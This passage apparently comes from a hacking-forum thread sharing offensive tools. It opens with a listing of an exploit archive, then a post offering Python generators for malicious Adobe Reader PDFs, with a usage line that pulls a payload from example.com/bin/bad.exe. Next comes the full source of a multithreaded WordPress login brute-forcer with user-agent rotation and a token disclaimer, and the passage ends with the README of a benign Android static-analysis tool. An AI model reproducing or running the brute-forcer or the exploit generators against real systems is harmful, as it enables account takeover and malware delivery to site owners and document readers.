    1504-exploits/oraclehyperionsmart-dos.txt
    1504-exploits/VL-1311.txt
    1504-exploits/wpfusionengage-disclose.txt
    1504-exploits/VL-1322.txt
    1504-exploits/wpnexforms-sql.txt
    1504-exploits/landesk-rfixsrf.txt
    1504-exploits/VL-1445.txt
    1504-exploits/wp_wpshop_ecommerce_file_upload.rb.txt
    1504-exploits/wp_inboundio_marketing_file_upload.rb.txt
    1504-exploits/honeywell-traversal.txt
    1504-exploits/VL-1455.txt
    1504-exploits/adobe_flash_casi32_int_overflow.rb.txt
    1504-exploits/proverbswebcal212-xss.txt
    1504-exploits/wtknetwork-sql.txt
    1504-exploits/kemploadmaster-execxsrfxssdos.txt
    1504-exploits/wpduplicator-sqlxsrf.txt
    1504-exploits/VL-1215.txt
    1504-exploits/wp_worktheflow_upload.rb.txt
    1504-exploits/rootpipe.rb.txt
    1504-exploits/6kbbs80-xsrf.txt
    1504-exploits/fmp3cr2628-overflow.txt
    1504-exploits/wpyoastgs-xss.txt
    1504-exploits/ninja-racecondition.txt
    1504-exploits/opointmedia-openredirect.txt
    1504-exploits/wp_nmediawebsite_file_upload.rb.txt
    1504-exploits/texttospeech-xss.txt
    1504-exploits/wpnexforms3-sql.txt
    1504-exploits/nasagov-xss.txt
    1504-exploits/sambaopenldap-xss.txt
    1504-exploits/wpcontentslide-xssxsrf.txt
    1504-exploits/wpsam-upload.txt
    1504-exploits/freepbx-xss.txt
    1504-exploits/pligg202-xss.txt
    1504-exploits/ZSL-2015-5240.txt
    1504-exploits/netcatcms-inject.txt
    1504-exploits/phpsfp-sql.txt
    1504-exploits/ZSL-2015-5238.txt
    1504-exploits/wptunelibrary154-sql.txt
    1504-exploits/testdisk-overflow.txt
    1504-exploits/websid-xss.txt
    1504-exploits/wpshareaholic-xss.txt
    1504-exploits/cpx_proftp.py.txt
    1504-exploits/huaweiseqanalyst-xss.txt
    1504-exploits/jaws111-xsrf.txt
    1504-exploits/wpmon-disclose.txt
    1504-exploits/untangle-xssdisclose.txt
    1504-exploits/samsungipolis-exec.txt
    1504-exploits/orangehrm321411-sqlxss.txt
    1504-exploits/jboss_seam_upload_exec.rb.txt
    1504-exploits/netsol_web_mail.pdf
    1504-exploits/SA-20150409-0.txt
    1504-exploits/VL-1444.txt
    1504-exploits/edruttmsdpim-traversalfile.txt
    1504-exploits/zenworks-exectraversal.txt
    1504-exploits/hotexbilling-xss.txt
    1504-exploits/osxrootpipe-escalate.txt
    1504-exploits/miniupnpd-overflow.txt
    1504-exploits/wprevolutionslider-shell.txt
    1504-exploits/ossolution-sql.txt
    1504-exploits/VL-1228.txt
    1504-exploits/wpdesignfolio-shell.txt
    1504-exploits/wpcommunityevents135-sql.txt
    1504-exploits/thehunter.txt
    1504-exploits/CORE-2015-0008.txt
    1504-exploits/solarwinds_fsm_userlogin.rb.txt
    1504-exploits/phptraffica23-xss.txt
    1504-exploits/pimcorecms305-xsrf.txt
    1504-exploits/wolfcms082-shell.txt
    1504-exploits/otrs31x-xss.txt
    1504-exploits/php-typeconfusion.txt
    1504-exploits/avsarsoftmatbaa-shellxss.txt
    1504-exploits/wooframework451-xss.txt
    1504-exploits/joomlasimplephotogallery-shell.txt
    1504-exploits/ubuntuusbcreator-escalate.txt
    1504-exploits/wp_creativecontactform_file_upload.rb.txt
    1504-exploits/weebly-hijack.txt
    1504-exploits/wpultimatenewspaper-xss.txt
    1504-exploits/wpvvci-shell.txt
    1504-exploits/PRL-2015-04.tgz
    1504-exploits/idm6-dllhijack.txt
    1504-exploits/Mac-OS-X_Fat-DoS.c
    1504-exploits/openletters-inject.txt
    1504-exploits/encapsflashgallery-dos.txt
    1504-exploits/VL-1438.txt
    1504-exploits/adobe_flash_copy_pixels_to_byte_array.rb.txt
    1504-exploits/flatpress10-xss.txt
    1504-exploits/SA-20150410-0.txt
    1504-exploits/synology-xss.txt
    1504-exploits/VL-1453.txt
    1504-exploits/wp_slideshowgallery_upload.rb.txt
    1504-exploits/edruttmsdprv-xss.txt
    1504-exploits/edruttmsdp-redirect.txt
    1504-exploits/VL-1474.txt
    1504-exploits/wpsam-sql.txt
    1504-exploits/ZSL-2015-5242.txt
    1504-exploits/VL-1452.txt
    1504-exploits/javacom-xss.txt
    1504-exploits/barracuda_5x_reports_postauth_root_exploit.rb.txt
    1504-exploits/safari-crossdomain.txt
    1504-exploits/SGMA15-002.txt
    1504-exploits/VL-1359.txt
    1504-exploits/comsenzsupesitecms70-xss.txt
    1504-exploits/eceprojects-xss.txt
    1504-exploits/apachespark-exec.txt
    1504-exploits/ceragon_fibeair_known_privkey.rb.txt
    1504-exploits/wpcitizenspace-xss.txt
    1504-exploits/VL-1447.txt
    1504-exploits/edruttmsdp-xss.txt
    1504-exploits/ceragonfibeair-disclose.txt
    1504-exploits/zyxel-dos.txt
    1504-exploits/huaweiseqanalyst-xxe.txt
    1504-exploits/wpqaengine-escalate.txt
    1504-exploits/apportabrt-exec.txt
    1504-exploits/qlik-redirect.txt
    1504-exploits/wpvideogallery28-sql.txt
    1504-exploits/pyscripter-dllhijack.txt
    1504-exploits/bluedragon-traversal.txt
    1504-exploits/meela-xss.txt
    1504-exploits/unipdf12-overflow.txt
    1504-exploits/wpworktheflow252-shell.txt
    1504-exploits/VL-1446.txt
    1504-exploits/soapfault-typeconfusion.txt
    1504-exploits/wpnmediawcf-shell.txt
    1504-exploits/mefa-xss.txt
    1504-exploits/goautodial-execsqlupload.txt
    1504-exploits/ZSL-2015-5239.txt
    1504-exploits/ZSL-2015-5241.txt
    1504-exploits/wpseopack180-shell.txt
    1504-exploits/wpstatistics912-xss.txt
    1504-exploits/wpvvp-shell.txt
    1504-exploits/xoops2571-xss.txt
    1504-exploits/androidbackupagent-exec.txt
    1504-exploits/apportabrt-issues.txt
    1504-exploits/freebsdkey-disclose.txt
    1504-exploits/legend_rce.py.txt
    1504-exploits/wpwdippu-upload.txt
    1504-exploits/wp_reflexgallery_file_upload.rb.txt
    1504-exploits/libarchive-dos.tgz
    1504-exploits/log2space62-xss.txt
    1504-exploits/wpajaxstorelocator-sql.txt
    tar: 1504-exploits/wpajaxstorelocator-sql.txt: time stamp 2015-05-16 05:33:33 is 1279061.268089756 s in the future

    Download

    • Upvote 1
  8. Here is adobe reader expls CVE-2011-2462 and 2 different verions of CVE-2010-2883 all codes is pythons

    usage for cve2011-4262 : createExploitPDF.py http://example.com/bin/bad.exe

    usage for CVE-2010-2883 : [input_file.exe] [output_file.pdf]

    adobe.rar — RGhost — file sharing

    List of files

    File name Size Compressed Ratio

    adobe/createExploitPDF.py 32.2 KB 5.93 KB 18.425%

    adobe/PDF2883v2.py 414 KB 128 KB 30.835%

    adobe/PDF2883v3.py 665 KB 202 KB 30.306%

    adobe

    Source: opensc

  9. This is a python script that performs brute forcing against WordPress installs using a wordlist.

    WordPress Brute Force by Claudio Viviani

    Inspired by xSecurity's WordPress Brute Muliththreading

    Tested on Wordpress 3.x and 4.x

    Disclaimer:

    This tool is intended for educational purposes only and the author

    can not be held liable for any kind of damages done whatsoever to your machine,

    or damages caused by some other,creative application of this exploit.

    In any case you disagree with the above statement,stop here.

    Requirements:

    1. python's httplib2 lib

    Installation:

    pip install httplib2

    Features:

    1. Multithreading
    2. xml-rpc brute force mode
    3. http and https protocols support
    4. Random User Agent

    CHANGELOG:

    2015-04-12 v2.0

    1. Add new feature xml-rpc brute force mode
    2. Fix minor bugs

    2015-04-11 v1.1

    1. optparse (Deprecated since version 2.7) replaced by argparse
    2. Fix connection bugs

    Download:

    #!/usr/bin/env python

    #

    # WordPress Brute Force by Claudio Viviani

    #

    # Inspired by xSecurity's WordPress Brute Muliththreading

    #

    # Tested on Wordpress 3.x and 4.x

    #

    # Disclaimer:

    #

    # This tool is intended for educational purposes only and the author

    # can not be held liable for any kind of damages done whatsoever to your machine,

    # or damages caused by some other,creative application of this exploit.

    # In any case you disagree with the above statement,stop here.

    #

    # Requirements:

    #

    # 1) python's httplib2 lib

    # Installation: pip install httplib2

    #

    # Features:

    #

    # 1) Multithreading

    # 2) xml-rpc brute force mode

    # 3) http and https protocols support

    # 4) Random User Agent

    #

    # CHANGELOG:

    #

    # 2015-04-12 v2.0

    # 1) Add new feature xml-rpc brute force mode

    # 2) Fix minor bugs

    #

    # 2015-04-11 v1.1

    # 1) optparse (Deprecated since version 2.7) replaced by argparse

    # 2) Fix connection bugs

    #

    #

    import urllib, httplib, httplib2

    import socket, sys, os, os.path, argparse, random

    from threading import Thread

    from time import sleep

    banner = """

    ___ ___ __

    | Y .-----.----.--| .-----.----.-----.-----.-----.

    |. | | _ | _| _ | _ | _| -__|__ --|__ --|

    |. / \ |_____|__| |_____| __|__| |_____|_____|_____|

    |: | |__|

    |::.|:. |

    `--- ---'

    _______ __ _______

    | _ .----.--.--| |_.-----| _ .-----.----.----.-----.

    |. 1 | _| | | _| -__|. 1___| _ | _| __| -__|

    |. _ |__| |_____|____|_____|. __) |_____|__| |____|_____|

    |: 1 \ |: |

    |::.. . / |::.|

    `-------' `---'

    W0rdBRUTEpr3ss v2.0

    Written by:

    Claudio Viviani

    http://www.homelab.it

    info@homelab.it

    homelabit@protonmail.ch

    http://ffhd.homelab.it (Free Fuzzy Hashes Database)

    https://www.facebook.com/homelabit

    https://twitter.com/homelabit

    https://plus.google.com/+HomelabIt1/

    https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

    """

    def randomAgentGen():

    userAgent = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',

    'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',

    'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',

    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',

    'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',

    'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',

    'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/538.46 (KHTML, like Gecko) Version/8.0 Safari/538.46',

    'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',

    'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',

    'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',

    'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',

    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',

    'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',

    'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',

    'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',

    'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',

    'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',

    'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',

    'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:31.0) Gecko/20100101 Firefox/31.0',

    'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',

    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36',

    'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',

    'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',

    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']

    UA = random.choice(userAgent)

    return UA

    def urlCMS(url,brutemode):

    if url[:8] != "https://" and url[:7] != "http://":

    print('\n[X] You must insert http:// or https:// procotol')

    os._exit(1)

    # Page login

    if brutemode == "std":

    url = url+'/wp-login.php'

    else:

    url = url+'/xmlrpc.php'

    return url

    def bodyCMS(username,pwd,brutemode):

    if brutemode == "std":

    body = { 'log':username,

    'pwd':pwd,

    'wp-submit':'Login',

    'testcookie':'1' }

    else:

    body = """<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>wp.getUsersBlogs</methodName>

    <params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>""" % (username, pwd)

    return body

    def headersCMS(UA,lenbody,brutemode):

    if brutemode == "std":

    headers = { 'User-Agent': UA,

    'Content-type': 'application/x-www-form-urlencoded',

    'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }

    else:

    headers = { 'User-Agent': UA,

    'Content-type': 'text/xml',

    'Content-Length': "%d" % len(lenbody)}

    return headers

    def responseCMS(response):

    if response['set-cookie'].split(" ")[-1] == "httponly":

    return "1"

    def connection(url,user,password,UA,timeout,brutemode):

    username = user

    pwd = password

    http = httplib2.Http(timeout=timeout, disable_ssl_certificate_validation=True)

    # HTTP POST Data

    body = bodyCMS(username,pwd,brutemode)

    # Headers

    headers = headersCMS(UA,body,brutemode)

    try:

    if brutemode == "std":

    response, content = http.request(url, 'POST', headers=headers, body=urllib.urlencode(body))

    if str(response.status)[0] == "4" or str(response.status)[0] == "5":

    print('[X] HTTP error, code: '+str(response.status))

    os._exit(1)

    if responseCMS(response) == "1":

    print('\n')

    print('[!] Password FOUND!!!')

    print('')

    print('[!] Username: '+user+' Password: '+password)

    os._exit(0)

    checkCon = "OK"

    return checkCon

    else:

    response, content = http.request(url, 'POST', headers=headers, body=body)

    if str(response.status)[0] == "4" or str(response.status)[0] == "5":

    print('[X] HTTP error, code: '+str(response.status))

    os._exit(1)

    # Remove all blank and newline chars

    xmlcontent = content.replace(" ", "").replace("\n","")

    if not "403" in xmlcontent:

    print('\n')

    print('[!] Password FOUND!!!')

    print('')

    print('[!] Username: '+user+' Password: '+password)

    os._exit(0)

    checkCon = "OK"

    return checkCon

    except socket.timeout:

    print('[X] Connection Timeout')

    os._exit(1)

    except socket.error:

    print('[X] Connection Refused')

    os._exit(1)

    except httplib.ResponseNotReady:

    print('[X] Server Not Responding')

    os._exit(1)

    except httplib2.ServerNotFoundError:

    print('[X] Server Not Found')

    os._exit(1)

    except httplib2.HttpLib2Error:

    print('[X] Connection Error!!')

    os._exit(1)

    commandList = argparse.ArgumentParser(sys.argv[0])

    commandList.add_argument('-S', '--standard',

    action="store_true",

    dest="standard",

    help="Standard login brute",

    )

    commandList.add_argument('-X', '--xml-rpc',

    action="store_true",

    dest="xml",

    help="Xml-rpc login brute",

    )

    commandList.add_argument('-t', '--target',

    action="store",

    dest="target",

    help="Insert URL: http://www.victimurl.com[:port]",

    )

    commandList.add_argument('-u', '--username',

    action="store",

    dest="username",

    help="Insert username",

    )

    commandList.add_argument('-w', '--wordfilelist',

    action="store",

    dest="wordfilelist",

    help="Insert wordlist file",

    )

    commandList.add_argument('--timeout',

    action="store",

    dest="timeout",

    default=10,

    type=int,

    help="Timeout Value (Default 10s)",

    )

    options = commandList.parse_args()

    # Check bruteforce mode conflicts

    if options.standard and options.xml:

    print "\n[X] Select standard [-S] OR xml-rpc [-X] bruteforce mode"

    sys.exit(1)

    # Check args

    if not options.standard and not options.xml:

    print(banner)

    print

    commandList.print_help()

    sys.exit(1)

    elif not options.target or not options.username or not options.wordfilelist:

    print(banner)

    print

    commandList.print_help()

    sys.exit(1)

    # Set bruteforce mode

    if options.standard:

    brtmd="std"

    else:

    brtmd="xml"

    # args to vars

    url = options.target

    user = options.username

    password = options.wordfilelist

    timeout = options.timeout

    # Check if Wordlist file exists and has readable

    if not os.path.isfile(password) and not os.access(password, os.R_OK):

    print "[X] Wordlist file is missing or is not readable"

    sys.exit(1)

    # Open and read Wordlist file

    wordlist = open(password).read().split("\n")

    # Remove last empty values from wordlist list

    del wordlist[-1]

    # Total lines (password) in Wordlist file

    totalwordlist = len(wordlist)

    # Gen Random UserAgent

    UA = randomAgentGen()

    # Url to url+login_cms_page

    url = urlCMS(url,brtmd)

    print(banner)

    print

    print('[+] Target.....: '+options.target)

    print('[+] Wordlist...: '+str(totalwordlist))

    print('[+] Username...: '+user)

    if brtmd == "std":

    print('[+] BruteMode..: Standard')

    else:

    print('[+] BruteMode..: Xml-Rpc')

    print('[+]')

    print('[+] Connecting.......')

    print('[+]')

    # Check connection with fake-login

    if connection(url,user,UA,UA,timeout,brtmd) == "OK":

    print('[+] Connection established')

    # Reset var for "progress bar"

    count = 0

    threads = []

    for pwd in wordlist:

    count += 1

    t = Thread(target=connection, args=(url,user,pwd,UA,timeout,brtmd))

    t.start()

    threads.append(t)

    sys.stdout.write('\r')

    sys.stdout.write('[+] Password checked: '+str(count)+'/'+str(totalwordlist))

    sys.stdout.flush()

    sleep(0.210)

    for a in threads:

    a.join()

    # no passwords found

    print('\n[X] Password NOT found :(')

    WordPress Brute Forcer 2.0 ? Packet Storm

  10. README.rst

    =========================================
    Static Code Analysis for Smali
    =========================================

    If you ever have looked at Android applications you know to appreciate
    the ability of analyzing your target at the most advanced level. Dynamic
    programm analysis will give you a pretty good overview of your applications
    activities and general behaviour. However sometimes you'll want to just
    analyze your application **without** running it. You'll want to have a look
    at its components, analyze how they interact and how data is tainted
    from one point to another.

    This is was the major factor driving the development of *smalisca*. There
    are indeed some good reasons for a *static code analysis* before the
    *dynamic* one. Before interacting with the application I like to know
    how the application has been build, if there is any API and generate all
    sort of *call flow graphs*. In fact graphs have been very important to
    me since they *visualize* things. Instead of jumping from file to file,
    from class to class, I just look at the graphs.

    While graph building has been an important reason for me to code such a
    tool, *smalisca* has some other neat **features** you should read about.


    Features
    ========

    At the moment there are some few major functionalities like:

    * **parsing**

    You can parse a whole directory of **Smali** files and **extract**:

    * class information
    * class properties
    * class methods
    * calls between methods of different classes

    You can then **export** the results as **JSON** or **SQLite**.

    Have a loot at the `parsing page <http://smalisca.readthedocs.org/en/latest/parsing.html>`_ for more information.



    * **analyzing**

    After exporting the results you'll get an **interactive prompt** to take
    a closer look at your parsed data. You can **search** for classes, properties,
    methods and even method calls. You can then apply several **filters** to your search
    criterias like::

    smalisca> sc -c class_name -p test -r 10 -x path -s class_type

    This command will search for *10* (-r 10) classes which contain the pattern *test* (-p)
    in their *class name* (-c). Afterwards the command will exclude the column *path*
    (-x path) from the results and sort them by the *class type* (-s).

    Let's have a look at another example::

    smalisca> scl -fc com/android -fm init -r 10

    This will search for all **method calls** whose *calling* class name contains the pattern
    *com/android* (-fc). Additionally we can look for calls originating from methods whose
    name contain the pattern *init* (-fm).

    You can of course read your commands from a file and analyze your results in a *batch*-
    like manner::

    $ cat cmd.txt
    sc -c class_name -p com/gmail/xlibs -r 10 -x path
    quit
    $ ./smalisca.py analyzer -i results.sqlite -f sqlite -c cmd.txt
    ...

    Have a loot at the `analysis page <http://smalisca.readthedocs.org/en/latest/analysis.html>`_ for more information.



    * **visualizing**

    I think this the **most** valuable feature of *smalisca*. The ability to visualize your
    results in a structured way makes your life more comfortable. Depending on what you're
    interested in, this tool has several graph drawing features I'd like to promote.

    At first you can draw your packages including their classes, properties and methods::

    smalisca> dc -c class_name -p test -f dot -o /tmp/classes.dot
    :: INFO Wrote results to /tmp/classes.dot
    smalisca>

    This will first search classes whose class name contains *test* and then export the
    results in the **Graphviz DOT** language. You can then manually generate a graph using
    *dot*, *neato*, *circo* etc. Or you do that using the interactive prompt::

    smalisca> dc -c class_name -p test -f pdf -o /tmp/classes.pdf --prog neato
    :: INFO Wrote results to /tmp/classes.pdf
    smalisca>

    Have a loot at the `drawing page <http://smalisca.readthedocs.org/en/latest/drawing.html>`_ for more information.

    Screenshots
    ===========

    .. figure:: http://smalisca.readthedocs.org/en/latest/_images/smalisca_search_classes.png
    :scale: 99%
    :alt: Basic usage

    Output results as table.



    .. figure:: http://smalisca.readthedocs.org/en/latest/_images/smalisca_dxcl_dot_0.png
    :scale: 99%
    :alt: Cross calls

    Basic relationships between classes and modules.


    Have a look at the `screenshots page <http://smalisca.readthedocs.org/en/latest/screenshots.html>`_.


    Installation
    ============

    Refer to the `installation page <http://smalisca.readthedocs.org/en/latest/installation.html>`_.
    Requirements:

    * Python (2.x / 3.x)
    * `cement <http://builtoncement.com/>`_
    * Graphviz
    * SQLAlchemy


    How to use it
    =============

    After installing the tool, you may want to first pick up an Android application (APK)
    to play with. Use `apktool <https://code.google.com/p/android-apktool/>`_ or my own tool
    `ADUS <https://github.com/dorneanu/adus>`_ to dump the APKs content. For the sake of
    simplicity I'll be using **FakeBanker** which I've analyzed in a previous
    `blog post <http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/>`_.

    First touch
    -----------

    But first let's have a look at the tools main options::

    $ smalisca --help
    ___
    /\_ \ __
    ____ ___ ___ __ \//\ \ /\_\ ____ ___ __
    /',__\ /' __` __`\ /'__`\ \ \ \ \/\ \ /',__\ /'___\ /'__`\
    /\__, `\/\ \/\ \/\ \/\ \L\.\_ \_\ \_\ \ \/\__, `\/\ \__//\ \L\.\_
